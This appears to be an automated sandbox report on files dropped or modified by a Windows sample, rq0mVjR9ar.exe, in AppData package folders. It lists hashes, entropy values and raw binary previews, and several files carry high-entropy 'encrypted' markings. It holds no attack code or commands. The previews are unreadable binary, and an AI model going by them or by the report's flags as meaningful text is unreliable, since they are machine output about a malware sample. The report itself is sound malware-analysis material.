SHA1:	74CE1C68BE0A6D26323388A1DAFD9A240752DFBD
SHA-256:	5CEA58606DF2D2BA9CA750E74AF2F16C15577481B51DF67E8F5F6B631E30455B
SHA-512:	42F29768ED01A1EBFD7AC8682C674EDC6F066C4A743871224EDCA9F07A88349602EEFC8EF0A3C8BB93F6DDA240DE5CDFD29AF8C15E89A812A1C05A32BF4119B0
Malicious:	false
Preview:	regf..."A....W..g.b.Nj.......z..W.$..6._..\H.......:.f.......~....t..M.`.....E2.2.B:oD6.#..1.U.#im..'..<.6...&2/......X...k..X..a..nu@.&0x\|...:.....=X1..,@i..z];....@^L..C....U)..Y.N..\|<../.cg..w..\|....l#..........h.>...a.... v...6..(..u.[j.............H..B.[.(.1%?._.C#U...ii..;Y;.&.........C6..g4.....'.c..'....D6...5......n7m<g.O..._.@IR.+'.........U.Oq{\.]_....U4...D.J.J.(c..?j..]&....f..og......K}...n_.wP....V,.3...P.....1.e...+.+.B.\.~Iy-..[.R......q.w.~G..&.....H.q0p[\....-..bx.aO.J......kt...Y..t4.if.0..k....,...~.}?Q\.M..........{...3;.C.}...?./........v.......wA@.C....J.W...O...1.......u...LF.#M{d..x{...MM...<Kg.."...nvW.a&j..".N_.7..IuF..#.u..!N.,/..uP}...$5I..I..G G.2(. :.N..#..A8N".Br.s.q..j..+.x..R4E.J[3.....3.$,k..Z.+...u...8.d.iC....4}.[.P...u.g.s..9'..B......k.5-..T..J..}...._.,"H~...>c..}/.o....Nk..;.5.MJ:I`.T.<........$k.iKj..(.e...1........Oc.0...\|.B.M.....g":@.Y^...2..nT........I...M."\.x...v.7_.........[...d.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97579576088706
Encrypted:	false
SSDEEP:	192:qhf0OJuEBusRXU1SiDEfbwTKwEihrDkbQ:UcEBFU14SYip8Q
MD5:	20476BD680024DA6872BE39761E1B820
SHA1:	94AEDB7D3287640F75469B07A117760DF0227715
SHA-256:	2DEAF026A2F2AD3E00A137A3DC3B46231778759077D4E523327FF33405F9C237
SHA-512:	D622239F9F8025E79003D6B5667ADDD7D56265B81572932F829BBDB73B7E67E526B8DBE20E470B15A985A0E7305923A090252AF1C3FB7C9EF263CE2D392BCFFA
Malicious:	false
Preview:	regf.A!..v2XD2..-..4.y.$....E......CK.S.....l....Vm..IG.....[.?.!j..Q8..V/.'yw...@59..WM.....~x..J......]!....sw~.<) .N63A.<.M...h..p.]........5eAi.."..p..wG.d8.B2gN.H....(H^.e....0P..............o....6.%.%...fW.......+..z....%.QF48\..".tk.....PM..t..8BH..@.22.........6.p....J,q..k.6....K.\|..&..7.s$....b...02..e......w.-..E8.....,........5 ...I........"y..$.{._x...`...=}.6.../.q.^@y.....K..[i..a....:.)..F.=.j....9k.....,uL<1l.E}..V.."O...6.3?..@R...?;.l._v/z..J...C. ...^t..TD..l...B.h.Y.......@s(..IS._F.....k.hc.L....f.8Q.RZ.........4..r0...4 \|\|H..}..... Y.xY.........c....^..[.>j;.K..U~.....'.....M\_.#;sC.U..B.3;.. .@....1..I.D.?-s.\.Gnx.z.&_..CJ.....%......^...t.G.-...q..@+...t....5nH@..(......N.....]hq8.1 .'.H...A>Rn:>....!;fr}0%.RXqb1 .....(.4Y.Y=..8..P..f,..W...R..\g..5...(..PG...kaN.............#.$..mR.........w.=$.).)U..9:DB..j,FJn......yH.Nb6+.G.......u..W..........S.J+..T.c........0.E.+o.#...>dU...[&;...URR...rf(..

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979082811708201
Encrypted:	false
SSDEEP:	192:jwQ/WGKLNGdXwse+Vbg/fSLfG0dvZdmZ5OuvcS8JKc8P3WMnfKoJBA+6xDW:MgKxaX7e+V0/q9vOZNPyIP3WMnT0+6pW
MD5:	D2B61FED4F294F93D06E66E11EBB3F1F
SHA1:	9C1D62470546A3C63B02268E6D77C3377B3F4BEA
SHA-256:	4D5509ED7BC191CE5F04CF67E2FC02D31DAC29B74981BB552FC9B66AE7B46A20
SHA-512:	C89BCA7D1C17AFE9969D5F7D73AD5D4E2B3D8B7D6519C4EEA20B49F420C3DC4BF1BD7534BFF391E4DD500A62C9CE24358A45A31E7AC882414E0DA0F9CAFEF999
Malicious:	false
Preview:	regf...8H..8. O..........\|2.<..\/.H.Qd....+K...w.7./..........j3P..:."...X.s..V....&..%.:...Q1.._SM.U.^.....q...^.fx.'......c.m$..P..u.....xK........^z....7...-IX.~..g......G..2......fCr..Z....@23..^x.....}6...r.'8.Q.....j....&..r....Q.i..B...?...,........5.......Q...~.x....~....#:.:;M..9._..6..Ix.i.I.z-.a.S.........sx%..3....../..^Ib.Q.h.c..>.lR.+O....P..s}Y.....6A...!L....KP.'A..v..}+d.H.(<R....?'./......a....=......Y...C..%.RB..h.. .a....................[.;AK...K..t..,.i......djV..Z<.........H..M.w.xq..+i....Y..]D....EGV...6.6<4{\......Y.."..K...K~..Q=a=..K...4.#AX...Iv.+@..-....^..+.4.$.``u../.<.R..f...FS.ci.......T..H2..E........y......G.5iG$.fp..a.xsm..,..J^C.NN..........Faq0..j...{.p...f88.=...D.....z........P...^C...Mc}.ptk...."[%..q-#..b%.59aK9-.6...`[.ED.HM....x.0h.bZ.."1....u2..5......h....@"..%.^.,4e.C.....o0..'..H..F..........t.L+&...\|_"X.G..FHX..9.i....F../Q.C........TRe.....b...gJ......$..{Gt..pL< ..(...c1..`.+cdk..sv;..[.'.p

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768920481015755
Encrypted:	false
SSDEEP:	192:FScPJSLqTPGG3K2rw95gPP+OQGmL75BDY7QRQ71prF2:FScP46G8rwxOmLns7oab0
MD5:	CE3CD2C88097E85A8D30DA09A166BE6A
SHA1:	D83BB97805F412B55749F64C56A2390103AA7819
SHA-256:	9B4878CFCD4666E52EDC5AE1124A63CA4D43BA12021972750CA58D4B83CF338D
SHA-512:	803E130A7FF5EDCA813F6FF0D81180E19C305E88CCA5E445BFFB2BA61675875B9C9314760951CF04BC3605CD2398A58EAE5B19B551DE7EB7E6EFADE501F55080
Malicious:	false
Preview:	regf.u.....v..:!k...D...D.._J&..!.4..t.cn.s.2."..t.b..Pb....5..ta^.W.....~it.`8...$...k.1.!./.8...4..xqf...#?....oh.eyN3......&.R_.M.....5.f....?.......].e0W.._...@.gwZ..s.E.`.\|Da......./.N;...a.V.......@..e..5..g.....HU....O..........8.r..RZ..-..d....sO.5...g<Q,&.....k@..o....cau..P...ke........W.<..e...8AI_...@..XW...a...y....^.@m....2y....V..b...g._.R.B..E/._...Q...xX.'7......1....;.....T...E............5.p../....n.cd..s..v.E.....@.T.@b...."h".x..7....l?+.%..K9u.C ..0V.h.........!@r..c}..^^R......R.....y..i3\|..?...........a..{X..".=...:.1Z......9...d......G..+....E\|.J(......s.]'T.M.. .xo........@5..;.t......... `.w.1..W..?.ZQ....wi. .B.6E...y..".+.,....O.?....YE.L...{fm..7.<S..gh..t..F..obJ.....\.nD...K).J.....DF\f%.tC+b."..:..l.Id.GI......K5.Qfo.I..x...1....K{71U..{^B...0...).z`X.U{w.pz...]....G;....&W.\|...j.64..8bi.])..xz..7..RO.U..9.. /J..Y.v..o..8.......h....U...MQm.......}..A..DW.>....?8...&..\..}w...99.Y...h...#..GV

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9818676728100755
Encrypted:	false
SSDEEP:	192:qfJtBxRPZ5c/E9/DBpEDZV0dlWO03PhBaUBvq8gxiVCMjKKihP07:ottPbJDBordO03aIvXgxishZ87
MD5:	175D92B9B18C4C7426D50940AB072319
SHA1:	4240B83222270851B1B00020A9876F33271A06B7
SHA-256:	1335AAB557043920F8CA7251DAE8D2F195263DBCA7F3C4E85029535ACA24EB5F
SHA-512:	0A13CE0E26E747190D252486ED773A3CA08210324637A3C882F8C38FDAAFE66377E3F84A99B603C3DA66BA0A1B4736F44CA0E3784A196149BD46CD5FFBBBD958
Malicious:	false
Preview:	regf.....aZ..?.r..2....Y...Ds....\|.5..P...?..p.W?......H.p.^...!.r.QE..t..,.\|8j....?....q..IT..e....I..N...2.. .^;,.....O.-.......3R......T:.j..13...Ff..6.:.~.\X`./Fod.....3._. f.J{?..D.+'.j[...J..C\..3Q.~.L{.....0..D\|.".'Jz..o&zua...1h...O.:L.......Vn.@%..r...;...&M..a@Zi..:.c.t.s.n.... .f}G.I.J.T.)...<D..%..h..<..7....#....h.".>....}..[f4..+B..\..d.x...\|..Lp....Z..{3..E......c..A;.Y;.%..9.9.b..2...h...l.h....J.i.(.0s.o..xC.N...j!........7..../N..........\|A..0..4..]...C..1.'Xr..f.9..{6%.e>...L...?.8>.L...d.h..@Yz.y.W.q.)....a.T.i`......8.GO.<).o.......R.Q.z1...S.t..!L.../..<.....g....j>.]..u$.$..9...Ix...[.&.,...a.F+.<..(b.5.......$...R..i..6..3....s.;.-.....K!.l..s>.4L.aK....=.2..=.[....g.;~.P8......0...=@...8.%.....t.{m.R.8..l........../.J..yP ...?b.........8\.f.....q.\|.M.K.=.)'*mj................A..>a........w.F[..%..J.2.a.8..s.aR.tq.A_....{.._....qfh.t.'M..:.........o.s..i....v....vz.=.g....C....yO........X......._;...FJ._.,.a.\|.

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9796858231536305
Encrypted:	false
SSDEEP:	192:v83aoPYpCzmVVuQzJ8RHQ0ZtUjZ4tTcwlRz2x0:E3a8YpCzmXPJ+QyG4tIwlVt
MD5:	19E68BFBCA8B2A4A54EA3A524C338DC7
SHA1:	A24C24500109763B87AF39363F95295C90C92A64
SHA-256:	15411388037F89BCDC7F208EA9F78A5B101D41CE9AC546811CD2EAE91FF9CB3D
SHA-512:	531D37B7F0E58D24F52CE8322DD19A91EA30FECB87253B2D17184003D855EB49EE2669264315A14452D72DFB66100298911606B89E08AB3925407FF2E87A3594
Malicious:	false
Preview:	regf.5..vS......w.....P.G.EY.i.........fttB2..P\|)t]...U.Q$...........^.?.-I."......'../d #H,.W+u....\|.3.@1\|..8_7.e..}.I......b........,...._.C.jS..s...V.OP7...y......h.J..^.zI.RN\|.)<(...............c.$DUs......2....[uY..xH~$'/sDo..&.-..0..=I.(Y-.....I.......E].9p.........O..#~.....-P.+Lx\.I,\I.g`B'..A...w.............J$-.r..........M.,.\|H.....^..{....SY..*.u..$....5.]...g..'Z.j.1:.N..Z.. P...._$T%e.!..$..J~ [..%?@..O.8....4Y ....uZ.....3$.=.D.5.........,...N#!..I.....9....\..R..j.^....V.B..4{..b./'.=F0...,.V+0..w..6...p....=,J'...S..B.Y...j:.>r...e.]....a....b(.....=........U.j~.&.2&B...e.O>....KA.P.]o.fOk.+.f(.F0........bI..9\...........lf..y..)..U....G.......(iK..tG..2..... .J..Dz...h.....(r.7....X`9.;L.K......8.Gte..G..=.5..&;..[Y....r].B....u.RH....t..Z...?:j.A.@....Tu.d0...0 `.&.G...ca.+...i.J.......f.9.....ot..H.........$.l...@0Ij.cep..7._.....H...f;,x.B=.R._L.[...J.mM..C.......?...)c(.!.n$..........p.d/....3.'&....s....[...

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98059602580463
Encrypted:	false
SSDEEP:	192:fGWV3ro+NAQJYrPGvO+d+ClxVvxjc4/AZMz/rrzH1lVb9:fZpro+6YYruvFLxzjcBunzH1lVx
MD5:	786545112F82C348C8DC0D8752786B64
SHA1:	A7317012B22728161F9BC67EA26EAF2C0B65A087
SHA-256:	FA390A2CC34C7D088F3301E9D5D824741C3DB4F84C3B41DAF70C482936DD7830
SHA-512:	2AEE5ED9EDCC6DACDD4DE4BBD8B7F882E765885E3369A78F446014A59230CDB769DF23F7FF8EF654FE0B54C595981A2B86DA78266CC61BA663E1726769724A61
Malicious:	false
Preview:	regf......7.....5..w<.f.K......?..R...a...QTH...Uc...\|.:.l.ZH.zG..-......^....=.n....RS..). ..pF....?.......M..@.h.O.p...Z>)@.....+.."+.m.'..b..L....)..q...X.......'.W..."D.+....P..7,E.Vn.1.....h............w..#.H.a<.D.t..-.'.^R..U.......I....M.$s...G...B2.sTNhT.............)..,.....3...(..ur......K+......2G..5z.t...Wq..8/.X.t.....N....c.U.7...g...K..\...<TH2V.T..E..1]#.D.h.ba}iK..CbI>.z]hL.G.2.w.&..Wf.@......w..t..O.8...c.T..z@.O..C~\8..G.4.Q.1.q7o.......#.F........YlT....%..0..Mt=X.;..Tc5.P..[.........+.b.8@..4.ln...2.q....{.6......m...^:....y.Ne=.i.e.A.!....%.M..?....~...o.P.....Q.......5IR...c.._..I2.Nd.....6%]7z<J.5kT..9bX.....ha.Q3..}...Mb.'k.O..-...K....J..Hk.l..F.....U....M..Q..$W.x.../..h.2^.!A...6..o.........,y...#..45....N9..c.P#.......Dnr...jz{..d.........1E.jd....O`..%Z.P%:.9Tx..\..X....T...o.ItM...r.{.v.....? Lq.V.....?g.p..4.Y.. .5.wg2..$E..>........J..`..{b.`\|..N...M.^a.(...~<.Ba}..2!d1Yf.....#e./8^..s!-.z.

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975138931432059
Encrypted:	false
SSDEEP:	192:GPa1vm0v3ETirosJybMVbF8gEB4XN0OiXmeFIqWaU1O3Q6r10A:He0/VrVCwbCbB4eOiXmBh1kf
MD5:	203EF24174C5F598FA16DC997B848C68
SHA1:	79576878C095066A316DA8161F84EF2FFD752DFF
SHA-256:	2EFBFDBEA9E10C6C44C37430BF6B25ACCC5FBF4818E63B928E64C9371224214F
SHA-512:	286283BD76466ED6E8E45AB1F3835CB1F7BCD81DA080E0D087C339ECB938DA8B18CA37566ECB7664C1DF51CAA85481467B0ECDD4BB9FE7633C1DDD964E3BDB5C
Malicious:	false
Preview:	regf.>QFV..w?.......\|S...{..iX..,q..3i..... )y...............;2..".(.c&@h...].)..^B_.a.k6..E....bI&..(...UA^b<U["@.M.\|......\C....k$@.$...J._s....l..K...,M...v7q.. pJ.~$...FU........!0%?.0.....s.....2%.sA.@.L=~:.]f...b.....A.@.s...v .....$y._...k.%.S..#.o..p.....&.V. ...2...!..;_A...4.K,..j..?;#..u....F\....66:..6....E....../..t.....rS....r..VG...&]."e...<.&..........4>.v....'`..,....pj.f...:...7....%<8%....Vj]..H;7.....a.....@O.U..'F".9/...,8oKW...=;}..%L.../..C.....~Q.V)Y...9.g(..0:..~....N..C......\|<+7.....Q+..-..m..k..12.{.$lC.j D.xw.S.......F..G....8%..........=._`l./.G.+.9Q..<...O...D..z..lf..S.3/2k..B.....$.Zx...Kj....."b..KT&.k?.>..........X0....k....b.....'.d%D.E.......a.#.%..y....G.....,..g....fX.......(....g...]k...C.p?A.!.6."....1z..Wl..{9.<L_L...5.`5DH.........h".Sy..a.\.a.uv,......x<S..P.'..q.]i.K~. ...G..}L...#..(_c._....+.O.W.....b9s....:....dz..McwK./....t...}..39.r%&Z.Sf.t.^5g.wL.$~..../..B..5nf.j.mR.m

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977526480782532
Encrypted:	false
SSDEEP:	192:e1vm5/I/Y/3qYtJMUjOAxFg8TANLO0L8DzPpka/026KsEoz4M:eBsIQycMUjZvvgK0L8DzP3c26KxUB
MD5:	ABFC4A25E407EE8611F69FB000555ED3
SHA1:	987361560CE6887D1F480791DB8CB30370897C3C
SHA-256:	965A1BCFAB113A983FB53C95D76EEB163E0D3C08A10330708F7AC4A46CA0D505
SHA-512:	585F74A56F69B83832D37AAADC201604D3CFE78500CB217A3093B2029CD8BFA49039BD044D3C10C590839BD64CEDAF2EC7CE32CCDE0F594B50CA89D12FD917AB
Malicious:	false
Preview:	regf.."K.q..M...:^.n3=.w.~'..>.(..X...9Z\|,=4.y..<Qfds.1.\|.....<.\|..u,.s...L..n:....r.<Y.r..26.q...B.:.!.dt.!?..P.U.?.&...,..........j,...d.Q.j.7`hHC'./..K.EjJ.7A..n0...MQ......'...u.5..n\|.Y.."...8@..Z..^e..-o.5lB."..j....ZT!.."W.s.7".....o.....O...A.$...2...VPU#.I...3w.E..],.D.Q..c....=.{l......gg@.....Y.n..(.......+...TK.[@.$....x.....zO.m>..+..@..._.]....y8........H.V.....B...RG.i}.....x%g.3.j..5...@XX..)y.C....Bv.5>Xn?...^.......b...M_...u_q..:D..X....H....c.!9$\|.f.T.^d.Rg.... .]G.0<..piD8Q.A..xCE.?.j........~.Fz..:.....(}.&<.....>~.!]..H...J:...(@.?.t..6f....F.Dw..-...W.gZ.......a..\q....C._c[6.@......I..&..X.U..Vo0..X.BWZE.W.....['B......<..=....Fd...!LA...........o..x.q..V.f-..e.d.<...zA D.....(0..Q.../...q0.{@..-.W/.\|..@......^.k=%F...gz.6.&.*..\|...w.j....B.z..Sh,(6..FEz.v....hYz..]..w;... .............@..`.b=a.....-2....... ZB..>.E.l.Y..`rf.O-.e...9.8;.....K.$"(N......e.N..I....Q.\].M.%cr...q$.d(.e...R.S....Rh.O.u%N.t.t{. ....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996767695379329
Encrypted:	true
SSDEEP:	768:smAu0Jl+bWfK7a4jxKia4pX53zJyFM6W0h1Zf2Bwjtb9+or0Yru4k/HbZgS+i:smAt24K7+d4pXlYvRgqn+6NK49i
MD5:	EC18F9E36FEB781A42C7F474688FA958
SHA1:	C3CE973426EB3877E0A4EF911CB3050E4FF7C119
SHA-256:	95C37FE512F220EC1043E0FBF4A5093DA683B3D3AB801475A04F907CC72EE7E8
SHA-512:	DA42517A142AF463F5A89AA599C5CB722C2E0B047B6E0249316AED84AFC3AA15A53941728076B5DEC6F9A9DEA1CB1B93A335E62DA8C79ACE4AD00829745D1C59
Malicious:	true
Preview:	..............G.$..K!u....0.!.q.G.U%kR..#2..wC,ny....oR.c.>....,.B.3U* .Lq.....e.\.q.prh".lJ........EVo.?./.XYP....b..{\|\.`v..7.g:...........W......e..v.[!.........RTQ..PY\|.....@..qlK.....?[...\|b.m\.&. 8..B..U.W..=:..h..3dB.....?.s.y.{.....ic.+...L.`<'y.-i.9p...2.....#.1....7..%}...1\|...i....g.e.....%_.......v.j..=S.z...J.&4qD#..P.S...#0.._.br.T},:.......h.^FH=......F.K\|.7".l...`'..............=....,..4...h....i.H../s6.Pz.!.<i.&!.(...gt....r.F.uH(.y......1.Ki..[e.7 .......Ql.....\.G}..yl...o.....\..1..-...xG.F.e.N.........Z...P.g...r.4.f...............-.S...%....PW...O....}.]...l....'.T..Ym...KC..C.f#-...).....U.._"pX..r..E.....\.R.]..<,V)..G.TU+..,..,,1...J#I........o~..."q&x.e..ix.Vb^%.....T.r.....:...h.$U.x..Fis..:B8.y....4w.-#.u/-...g.......8g....S&....R.X.d.o<55...%....8Z.X..bvgk....;..z...".d.l.Q....5..$.1hs1S:BY..:..om.&PZ.......,......ZQ1..&."..x[p;..X.eN.....l...$..v.l.4S..B......... ..@.......8zm7u8dI..*..J..AmB.I..R.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\Microsoft\Internet Explorer\DOMStore\KIJVZO39\www.office[1].xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.297680119195301
Encrypted:	false
SSDEEP:	6:R+yUI778OLqHWx3M3fJILegiyxePH+X/GjGxssZacii96Z:ft8VZPWz4yGixpZacii9a
MD5:	033EFEAA79745BB57D8AE47B1C40E327
SHA1:	1C0CD7F583BA314A99ADDDC00D20993BEC648690
SHA-256:	2822308E2BDC871D19ADF4FF7274F88EBDC46608D026F6A5F764972329F2A516
SHA-512:	CA38DE1F2622E6D0EA93A4B9EB0325F8923962D6B064B0FB48EB1A0FD40E14B4689BDE30EABF93308629B8B28E1D995BFA1A980926A4E260CA164361C5B1F8E8
Malicious:	false
Preview:	<root..../k..a/.=..B...r. ...L%..P.=2n..B^r.je?"{.....T....Y.p.......E..5'.Q..5..............R}b..^j...x...&...C.>...hJ....8.....1H..<..F.@.....U2Y.v..S"..;...x........<.....~EO......Z.=...U....MNyo.M...%..jb..?..Cq......Pb...g.....+.....G...u....D.=.v.C.{0..f.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3858322606948594
Encrypted:	false
SSDEEP:	3072:mnGOZkrswm0xCmvmpCQxL9qn8rFRzGkOpztEwDkuLxHbpEEiHdJQa8w+Afa8w+Ap:Q0rsqKL9q8BYtGwDFt9Elnix
MD5:	F415FE173E122043E2AFC4ECE6913A86
SHA1:	87FB996298615E0ED9DC6439906CCF241FF84A63
SHA-256:	E501DC343371F94990CFA1A21E01391CB1E944755BB292E2D73B007D08E9E496
SHA-512:	BE27C0ACD4C3078636AB39AD19AB682FFCD13A89C5CF71D29352A109DF0C12DBEFD0CC8190CE7F87F860B589E2AC7D627C51456C598EC98FE45839F8C43506DA
Malicious:	false
Preview:	wvi{.b_.m....C.b.m..'..C.K{.8g.1a......7Z.....\..........#).Dr\|.ri.. 5.M.....Pu.d6.Z..rJ...9.5li..z~gH i".Ca.........7uL....u.l.y!m.?LG.bW..:......wV.e.<..)0..'c./@....b..x..0...RQ.a.`.Rm..4.6vQ..}..<S.}..B./l...1..f.oat..(Q..?....D'....xD...3..Ik@...w.k...[H.{...e...R....g ...)..o....$.....AvC..E/x..._....\|.........ceS..r.....H.....9..fe.r.s<.{...@./..m~L.}.v..<g.........3..).Sd.fF.S..x.......K..<..>.U..\|...b.I....~...O.itoB.. .Gb1....Ya...\|....0..!...../..q...:.I...........n.}`.Bi.d......MR..#.S..{......ok:T..l..s..].U.>0...Gb.....v[F.`wc.t7...R...0.L+.\....x.5<....O....2\.<....0f....v<Y.S#R.Fp.I..!..D...5o...I.Z.?.b.. xs.9q..5H.......%.!.<..~.q....Yi....+.\|{...a..~f>o6.Z)...w..!..QT......1...........~..N2..:M..<+...P......'tH[M../.......d...xA..^a....h..Eu.%._.c..^..o#..'...v....B...{..... 0'......P...w-...rew.T..Al.L.8.._%IH.9t...3k.....?....C.'U.. G"..U.z*..l&h.~..P ..oD7.u.n@.....V...LU.<..Bf....W...(..A.>.(rVVw.e....M.{>......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990986198123932
Encrypted:	true
SSDEEP:	384:KNa4Sa5Eq2tjbmOwQIfYCbhc6DQPwAHxV24tPetXzwwu:Kt1uHoY626DQ4ARE4IBu
MD5:	3D8C11BBBC5A0F6FEC77BE01395344E9
SHA1:	6976CD41175A4D7AA4647E42C3CA2FD9E0B78B5F
SHA-256:	82B6667BC97DDE0A90D91397CC7A3EE70EEF0A997629EB9A010BBC961570A4BE
SHA-512:	9D3C89FBD56D0030ECF032B71A436A606E0703E2F8293D962C489C9C36065B5E8D26CB2F9AB2585CF3EC6D6B054AEBFFFA3D410671CB1DC24FB5172746CBD3A8
Malicious:	true
Preview:	.zG3.`......L.Eh3i..,O....]S...H..p..K.3....x.R.......a.^.i..p....b..A.#]...f..q.e.w..%/..`...X..B.l.Q...!......?...f..j.a#.mE....7pp......z.....M.`..H....N!..^..4S.w.....y%.N../.Yzk.%.i.E...X..'."..g.1.%E.O...........\|..Y..$....Z..%....D.ht.:.B.j...C...o1...]?G^.Q.~.o.DX.0..d...>>...`...t..`.....j......e.6?......r.8.. R.1.jvcr}.?....4Usx...."3...L.VE..#_....^4..q....D..."W..n.O..7...H.."..v.T.![...Ip.;&3.-eV.R.P........kB..mn.-...g....N.P.._.D.....EH..Z.+.1n..).rhR....Gz.3.o.B.....'e...M]...J......`.K...uo.1.`..Q[.&Gk/\|."!...22...U...._5......j..5.L..^2.%\CY.xh.;Gy.w.rl....3...7.wb......Mv.3...b.....P.(F.,.]...0.4g-.d'...'.o.nk....Nj.J...O.....V?..R..........[..........Y.c........@..!.\..k...u... ..s..'..U{.0..1...B.....L...$....D...h.@.8.....f...9...<.._..y/...0....q.@k5`.0..n".?...;.A.;'.,.?.l.%9..]S9......Xw.f....+.a... .v......Z..^_.V.........[..}...A....~k....W..-b..{1~.b.Q.2./J:......Nr)...[...C.%.q.\6.>.BC..0..,(.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97622072434578
Encrypted:	false
SSDEEP:	192:NuboJJ0MuAhpFxnxfIXbLuQHV989O0QO6Fub2V5+:N7JlLDfcPnV9bIr
MD5:	F094760C447DF7482106F9D72E5500C8
SHA1:	C3372FD8880F32CD936514784198DAFEC04EE03D
SHA-256:	A6236FC32D45DE7C2865A5773F088D2ED480A0552DFFAAB18CF79D7F7429F68F
SHA-512:	2E35F7CDE69A04C411355E7714E50844A05F22349D08E0F08BEE662C2133315AC842E606FBFEBA58F97DAC53C0EB0E55C4821D5160EBF6FC36EF09F77FDC7C5E
Malicious:	false
Preview:	regf.c4.lE.r..O~s.o..C..-^..v.vu........$..M.1.A.N...6{r./qA.....<J.q..{wrB..l..\....xk..$.u..7i....pBbf..........]!..t.n.J}!cp..Y..5..2-..............._:..Y.....I..d..c..`nq.i...'y.\1.;...W.?..V..u0.[.....3Qy.G_./..Q.._j.#c..,.B..{..f.......t6DlD..m.2im1...;.7.....%Ad...7.....8.,....RAgx+.U..A....<L..;.f..P..#...(X.7.ww1y/r.H......S.........012..].>..mP8j........^A...Xi.s.V.....)"...VG.#?k........S....?M/.....8.d<\B..H.\.d..P..xh,'.gs@...{...9^..u_...Y.Sdc..S3...-L......-...k"....P.......:./b..o.@it....M.,......&./..61...-y"n.>.v...#?.;.79....k...EQ<a/.{...ca..3.U.]..j'.x...@.b...G...a......sn....TH...:/;..........ER..ft....aE...g...o.Iji....z..c.p..GJ(V.... ....u..$..w.!{'<".....Uoi. RT].\|.G.:...o.......o.aa...\l...$...9..k....d.nI.I>....%.g...iD....!.A0....$.qi..5..J"...t"i.3.........7.SI....~...)m....rm...?.b.%.....U..#$...D.9..e.......$..o=.#...Q...O.&EZK......J~,..9.3:b3.....cc..*.M.......:.....j.d}P}).T$.cL..v.-.,.~...]j..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974695217063652
Encrypted:	false
SSDEEP:	192:uK9JojQmzcDphU260Q32nAxcMJrSVLrq14Z3ag:uKDoPzjN0QyMVS5rAej
MD5:	888F578E30E6F29BA9AD298EF1E41869
SHA1:	A506B1911BC8B27C3ACC40942DAFE4196D1B69E9
SHA-256:	4C669ADE3BEAF51051A3A563D74AC9C9F37C43E8D072FA2DA5238FD424D9A233
SHA-512:	7B85D5CBD1374A5F694EC79B75376C0D85CDB6CABE88A8A1B43FB1742199A811D287F5A6EBEB64805F00907457A286B83ED2F1B384499435945F7FD4E00F6490
Malicious:	false
